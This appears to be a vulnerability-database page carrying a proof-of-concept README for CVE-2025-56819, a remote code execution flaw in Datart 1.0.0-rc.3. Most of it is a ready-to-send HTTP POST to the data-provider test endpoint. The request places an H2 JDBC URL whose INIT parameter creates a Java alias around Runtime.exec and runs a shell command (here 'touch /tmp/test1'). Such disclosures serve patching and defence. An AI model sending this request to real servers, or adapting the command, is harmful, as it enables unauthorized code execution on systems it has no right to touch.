来源

关联漏洞

描述

An issue in Datart v.1.0.0-rc.3 allows a remote attacker to execute  arbitrary code via the INIT connection parameter.

介绍

# CVE-2025-56819
An issue in Datart v.1.0.0-rc.3 allows a remote attacker to execute  arbitrary code via the INIT connection parameter.

```
 POST /api/v1/data-provider/test HTTP/1.1
 Host: test.com:8080
 Content-Type: application/json
 Content-Length: 520

 {
   "name": "jdbc-data-provider",
   "type": "JDBC",
   "properties": {
     "dbType": "H2",
     "url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/test1')\\;",
     "user": null,
     "password": "",
     "driverClass": "org.h2.Driver",
     "serverAggregate": false,
     "enableSpecialSQL": false,
     "enableSyncSchemas": true,
     "syncInterval": "60",
     "properties": {}
   }
 }
```

文件快照

 [4.0K]  /data/pocs/708818b7bdd9670da102d0de5b3372aeb06ca5c9
└── [ 798]  README.md

0 directories, 1 file

备注